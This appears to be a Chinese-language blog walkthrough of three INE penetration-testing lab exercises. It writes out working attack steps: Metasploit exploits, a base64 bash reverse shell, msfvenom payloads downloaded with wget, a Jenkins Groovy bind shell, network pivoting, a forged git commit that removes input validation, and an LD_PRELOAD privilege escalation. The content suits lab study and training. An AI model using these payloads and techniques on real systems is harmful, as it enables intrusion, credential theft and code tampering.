简介

INE Penetration Testing Basics 黑盒渗透测试过程_安全


INE Penetration Testing Basics 黑盒渗透测试过程_网络_02

官方网站:

https://my.ine.com/CyberSecurity/courses/6f986ca5/penetration-testing-basics

黑盒渗透测试1

启动实验室,然后对目标网站进行枚举

nmap -A -sS demo.ine.local

INE Penetration Testing Basics 黑盒渗透测试过程_网络_03

开放了80端口,我们去网站上看看

INE Penetration Testing Basics 黑盒渗透测试过程_linux_04

发现网站的框架为V-CMS V1.0

通过搜索,发现该版本存在任意上传漏洞

INE Penetration Testing Basics 黑盒渗透测试过程_网络_05

进入msf,搜索漏洞

INE Penetration Testing Basics 黑盒渗透测试过程_web安全_06

使用第二个,设置参数

INE Penetration Testing Basics 黑盒渗透测试过程_网络_07

run

执行攻击,得到shell

INE Penetration Testing Basics 黑盒渗透测试过程_web安全_08

发现当前权限为root,进入shell,发现这个机子还在另一个网段中,我们无法直接ping通

INE Penetration Testing Basics 黑盒渗透测试过程_oscp_09


INE Penetration Testing Basics 黑盒渗透测试过程_linux_10

我们要执行路由转发,然后枚举那个网段的机子

使用“autoroute”命令将路由添加到无法访问的 IP 范围

run autoroute -s 192.241.145.0 -n 255.255.255.0

将路由添加到 IP 范围 192.241.145.0/24

INE Penetration Testing Basics 黑盒渗透测试过程_web安全_11

返回到msf,检查是否添加成功

route print

INE Penetration Testing Basics 黑盒渗透测试过程_安全_12

路由添加成功。然后我们可以使用“route”命令将路由表添加到 metasploit 框架

route add 192.241.145.0  255.255.255.0 1

使用msf的tcp扫描模块

auxiliary/scanner/portscan/tcp

设置参数,然后执行扫描

use auxiliary/scanner/portscan/tcp
set PORTS 80, 8080, 445, 21, 22
set RHOSTS 192.241.145.0/24
exploit

INE Penetration Testing Basics 黑盒渗透测试过程_oscp_13

然后我们发现了三台存活的主机

INE Penetration Testing Basics 黑盒渗透测试过程_linux_14

192.241.145.1只开放了22端口,猜测可能是网关,192.241.145.2这个机子开发了80端口,是刚刚我们用vcms渗透的机子,未知的只有192.241.145.3这台机子,开发了21端口

在meterpreter 会话中有一个实用程序“portfwd”,它可以将远程机器端口转发到本地机器端口

回到刚刚拿下权限的那台机子

session -i 1

将远程端口转发到本地端口

portfwd add -l 1234 -p 21 -r 192.241.145.3
portfwd list

INE Penetration Testing Basics 黑盒渗透测试过程_linux_15


我们已经成功转发了端口。现在,使用 Nmap 扫描本地1234端口

nmap -sS -sV -p 1234 localhost

INE Penetration Testing Basics 黑盒渗透测试过程_网络_16

发现服务的版本是2.0.8,还是vsftpd,可以知道存在笑脸漏洞

msf 搜索 vsftpd 漏洞利用模块

INE Penetration Testing Basics 黑盒渗透测试过程_linux_17

使用这个模块,设置参数后执行

set rhosts 192.241.145.3
run

INE Penetration Testing Basics 黑盒渗透测试过程_oscp_18


INE Penetration Testing Basics 黑盒渗透测试过程_安全_19

成功拿到最高权

黑盒渗透测试2

启动实验室,然后对目标网站进行枚举

nmap -A -sS online-calc.com

INE Penetration Testing Basics 黑盒渗透测试过程_web安全_20

目标靶机开放了80,5000,8000端口,我们访问80端口看看

INE Penetration Testing Basics 黑盒渗透测试过程_安全_21

什么都没有,枚举一下网站根目录看看

INE Penetration Testing Basics 黑盒渗透测试过程_linux_22

并没有什么有趣的目录,我们去访问5000端口看看

INE Penetration Testing Basics 黑盒渗透测试过程_安全_23

一个在线的计算器,枚举一下网站根目录

INE Penetration Testing Basics 黑盒渗透测试过程_网络_24

还是什么都没有

我们去访问一下8000端口

INE Penetration Testing Basics 黑盒渗透测试过程_linux_25

继续枚举网站根目录

INE Penetration Testing Basics 黑盒渗透测试过程_安全_26

发现了两个有趣的目录

/.git/
/console

暴露的.git目录中可能还有一些文件,继续枚举git目录

INE Penetration Testing Basics 黑盒渗透测试过程_网络_27

使用命令查看文件内容

curl http://online-calc.com:8000/.git/config

INE Penetration Testing Basics 黑盒渗透测试过程_网络_28

INE Penetration Testing Basics 黑盒渗透测试过程_网络_29

git 配置包含详细信息,包括名为Jeremy McCarthy的用户的凭据:
电子邮件:jeremy@dummycorp.com 用户名:jeremy 密码:diamonds
git 配置文件还包含远程源的 URL:
远程来源网址: http: //online-calc.com/projects/online-calc

发现了远程存储库的网址,接下来我们要利用远程存储库枚举更多信息

使用以下命令克隆远程存储库:

git clone http://online-calc.com/projects/online-calc

INE Penetration Testing Basics 黑盒渗透测试过程_安全_30

然后我们检查一下 git 日志

git log

INE Penetration Testing Basics 黑盒渗透测试过程_网络_31

此存储库中的代码存在 2 个问题:任意文件读取和远程代码执行,但这两个问题都在随后的修复中得到解决

使用以下命令列出修复任意文件读取漏洞时的提交与之前的提交之间的更改

git diff 9aa6151c1d5e92ae0bd3d8ad8789ae9bb2d29edd 17f5d49be5ae6f0bc41fc90f5aabeccc90f6e2cd

INE Penetration Testing Basics 黑盒渗透测试过程_网络_32

通过分析发现

该send_from_directory函数用于发送从Flask服务器的根目录请求的任何文件
如果请求的路径包含or,%2E,404,则返回响应

使用以下命令列出修复 RCE 漏洞时的提交与之前的提交之间的更改:

git diff 4bcfb590014321deb984237da2a319206975170f 9aa6151c1d5e92ae0bd3d8ad8789ae9bb2d29edd

INE Penetration Testing Basics 黑盒渗透测试过程_网络_33


通过分析可以知道

为了修复错误,在代码中添加了一个名为的evaluate函数,并且在函数中,isValid在将用户提供的数据传递给函数之前调用了该eval函数
用户输入中的字符在函数中被替换为"* 1.0 /"和evaluate

我们需要修改API.py中的代码,来重新利用这个远程代码执行漏洞

vim API.py

在最下面

INE Penetration Testing Basics 黑盒渗透测试过程_linux_34

现在在调用之前注释输入验证检查

eval

保存文件后退出

接下来我们要利用之前找到的信息将这些更改提交到存储库

git status
git add .
git commit -m "Bug Fix" --author "Jeremy McCarthy <jeremy@dummycorp.com>"

INE Penetration Testing Basics 黑盒渗透测试过程_安全_35

根据之前得到的账号密码来将这些更改推送到远程存储库

git push

INE Penetration Testing Basics 黑盒渗透测试过程_网络_36

我们查看一下是否更改成功

curl http://online-calc.com:8000/API.py

INE Penetration Testing Basics 黑盒渗透测试过程_安全_37

可以看到,我们修改成功了

现在就需要想办法得到shell了,通过之前的分析我们可以知道

为了修复错误,在代码中添加了一个名为的evaluate函数,并且在函数中,isValid在将用户提供的数据传递给函数之前调用了该eval函数
用户输入中的字符在函数中被替换为"* 1.0 /"和evaluate

所以我们需要用base64编码一下我们的payload

echo 'bash -c "bash -i >& /dev/tcp/192.196.85.2/4444 0>&1"' | base64

然后监听我们的本地4444端口

nc -lvp 4444

INE Penetration Testing Basics 黑盒渗透测试过程_安全_38

然后去到网址的5000端口,执行我们完整的payload

__import__("os").system("echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjguNTIuMi80NDQ0IDA+JjEi | base64 -d | bash")

现在将复制的有效负载粘贴到计算器 webapp 的文本框中,然后按下id

=

INE Penetration Testing Basics 黑盒渗透测试过程_网络_39


INE Penetration Testing Basics 黑盒渗透测试过程_web安全_40

成功拿到最高权限,查看本机网络,发现还存在一个网段

INE Penetration Testing Basics 黑盒渗透测试过程_linux_41

接下来我们要使用msf进行路由转发来渗透另一个网段的机子,我们先生成一个meterpreter 的payload

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.28.52.2 LPORT=5555 -f elf > payload.bin
python3 -m http.server 80

然后去到拿到权限的机子下载这个文件

wget http://192.28.52.2/payload.bin
chmod +x payload.bin

INE Penetration Testing Basics 黑盒渗透测试过程_web安全_42

回到kali,我们打开msf,设置监听

msfconsole -q
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.28.52.2
set LPORT 5555
run

INE Penetration Testing Basics 黑盒渗透测试过程_oscp_43

去到靶机上,执行payload.bin

INE Penetration Testing Basics 黑盒渗透测试过程_linux_44


INE Penetration Testing Basics 黑盒渗透测试过程_linux_45


INE Penetration Testing Basics 黑盒渗透测试过程_网络_46

存在另一个网段,我们进行路由转发

bg
route add 192.218.55.0/24 1

INE Penetration Testing Basics 黑盒渗透测试过程_网络_47

使用socks_proxy模块将meterpreter会话转换为socks代理

use auxiliary/server/socks_proxy
set VERSION 4a
set SRVPORT 9050
run -j

INE Penetration Testing Basics 黑盒渗透测试过程_网络_48


socks 代理服务器(版本 4a)将在端口 9050 上启动。它将作为后台进程启动

使用 proxychains工具扫描另一个网段的主机,该工具将利用我们启动的代理服务器,探测存活主机后,发现192.218.55.3是另一个网段里唯一存活的主机

proxychains nmap -sT -P0 192.218.55.3

INE Penetration Testing Basics 黑盒渗透测试过程_web安全_49

发现此主机开放了8080端口,我们打开火狐,设置一下网络代理

INE Penetration Testing Basics 黑盒渗透测试过程_linux_50

然后访问目标主机的8080端口

INE Penetration Testing Basics 黑盒渗透测试过程_web安全_51

发现网站框架是jenkins,利用起来就简单了,因为这个框架可以直接执行脚本,我们去到脚本控制台

INE Penetration Testing Basics 黑盒渗透测试过程_oscp_52

因为这是另一个网段的机子,不能直接回连shell,但我们可以让他监听5555端口,然后我们主动用nc去连接

payload:

int port=5555;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new java.net.ServerSocket(port).accept()
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

点击run

INE Penetration Testing Basics 黑盒渗透测试过程_linux_53

proxychains nc -v 192.218.55.3 5555

INE Penetration Testing Basics 黑盒渗透测试过程_oscp_54

黑盒渗透测试3

这里给了三个网站

server1.ine.local
server2.ine.local
server3.ine.local

我猜测他们都相互有关联的,由于很简单,这里我就简单记录一下渗透的过程

首先用nmap枚举第一个网站

nmap -A -sS server1.ine.local

INE Penetration Testing Basics 黑盒渗透测试过程_网络_55

发现网站的框架是werkzeug 版本为0.9.6

使用searchsploit搜索一下框架的漏洞

searchsploit werkzeug

INE Penetration Testing Basics 黑盒渗透测试过程_web安全_56

查看一下漏洞信息

cat /usr/share/exploitdb/exploits/python/remote/37814.rb

INE Penetration Testing Basics 黑盒渗透测试过程_安全_57

发现此版本可以利用,打开msfconsole

use exploit/multi/http/werkzeug_debug_rce
set RHOSTS server1.ine.local
set LHOST 192.220.184.2
run

INE Penetration Testing Basics 黑盒渗透测试过程_安全_58


INE Penetration Testing Basics 黑盒渗透测试过程_网络_59

成功的拿到了最高权限,我们查看一下靶机上存在的用户

cat /etc/shadow

INE Penetration Testing Basics 黑盒渗透测试过程_web安全_60

目标计算机上共有七个用户

使用enum_users_history模块来查看用户的历史文件,此模块会收集用户特定信息,用户列表、bash 历史、mysql 历史、vim 历史、lastlog 和 sudoers

background
use post/linux/gather/enum_users_history
set SESSION 1
run

然后查看生成的文件

cd /root/.msf4/loot/
ls
cat [file]

INE Penetration Testing Basics 黑盒渗透测试过程_web安全_61

这里发现了mysql的用户名和密码,我们开始枚举第二个服务器

nmap -A -sS server2.ine.local

INE Penetration Testing Basics 黑盒渗透测试过程_web安全_62

发现开放的端口和ip都吻合历史文件的记录,我们登录mysql

INE Penetration Testing Basics 黑盒渗透测试过程_web安全_63

然后查看mysql数据库的版本

select version();

INE Penetration Testing Basics 黑盒渗透测试过程_web安全_64

通过google发现存在用户定义函数 (UDF)漏洞,打开msfconsole

use exploit/multi/mysql/mysql_udf_payload
set FORCE_UDF_UPLOAD true
set PASSWORD fArFLP29UySm4bZj
set RHOSTS server2.ine.local
set TARGET 1
set LHOST 192.220.184.2
run
session -i 1

INE Penetration Testing Basics 黑盒渗透测试过程_安全_65


INE Penetration Testing Basics 黑盒渗透测试过程_网络_66

成功拿到第二台机子的最高权限,查看flag

INE Penetration Testing Basics 黑盒渗透测试过程_web安全_67

然后开始枚举第三个网站

nmap -A -sS server3.ine.local

INE Penetration Testing Basics 黑盒渗透测试过程_网络_68

机子开放了8080端口,框架为tomcat,然后枚举一下网站根目录

dirb http://server3.ine.local:8080

INE Penetration Testing Basics 黑盒渗透测试过程_linux_69

发现了一个有趣的目录,我们去浏览器上访问

INE Penetration Testing Basics 黑盒渗透测试过程_安全_70

他要求我们登录,我们暴力破解一下看行不行

打开msfconsole

use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS server3.ine.local
set VERBOSE false
run

INE Penetration Testing Basics 黑盒渗透测试过程_linux_71

成功爆破出密码,然后去登录

INE Penetration Testing Basics 黑盒渗透测试过程_linux_72

我们可以上传一个paylaod来获得目标靶机的shell

使用msfvenom生成payload

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.220.184.2 LPORT=443 -f war > shell.war

然后上传我们的payload

INE Penetration Testing Basics 黑盒渗透测试过程_安全_73


INE Penetration Testing Basics 黑盒渗透测试过程_网络_74

上传成功,然后本地监听一下端口

nc -vnlp 443

INE Penetration Testing Basics 黑盒渗透测试过程_网络_75

访问连接,成功得到shell
当前的 shell 不是标准 shell,因为它缺乏 TTY shell 提供的很多好处,如反向搜索、tab补全等。所以让我们使用 Python 升级当前的 shell 会话

python -c 'import pty;pty.spawn("/bin/bash");'

查看flag

INE Penetration Testing Basics 黑盒渗透测试过程_网络_76

然后我们查看靶机上存在的用户

INE Penetration Testing Basics 黑盒渗透测试过程_linux_77

发现只有一个用户

去到tomcat的配置文件目录下看看有没有其他文件

cd /con

发现有一个压缩包,我们解压一下这个压缩包

tar -xvf conf.tar.gz
ls

INE Penetration Testing Basics 黑盒渗透测试过程_web安全_78

发现一个有趣的文件,我们去看看

INE Penetration Testing Basics 黑盒渗透测试过程_安全_79

文件配置里有robert的密码,我们登录试试

INE Penetration Testing Basics 黑盒渗透测试过程_安全_80

登录成功,查看flag

INE Penetration Testing Basics 黑盒渗透测试过程_网络_81

现在我们需要手动提权拿到root权限,sudo -l 看一下这个用户可以用sudo执行什么命令

INE Penetration Testing Basics 黑盒渗透测试过程_linux_82

这个用户可以用sudo命令执行ls命令

我们可以通过利用LD_PRELOAD环境变量,强制用ls命令加载一个自定义共享库,该库在目标机器上提供 shell 访问

创建一个文件,然后写入以下代码

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

上面的代码很简单。它将用户 ID 和组 ID 设置为 0,并生成一个 bash shell

INE Penetration Testing Basics 黑盒渗透测试过程_oscp_83

然后编译这个文件为共享库

gcc -fPIC -shared -o shell.so 1.c -nostartfiles

然后执行

sudo LD_PRELOAD=/home/robert/shell.so ls

INE Penetration Testing Basics 黑盒渗透测试过程_linux_84

成功拿到root权限

查看flag

INE Penetration Testing Basics 黑盒渗透测试过程_linux_85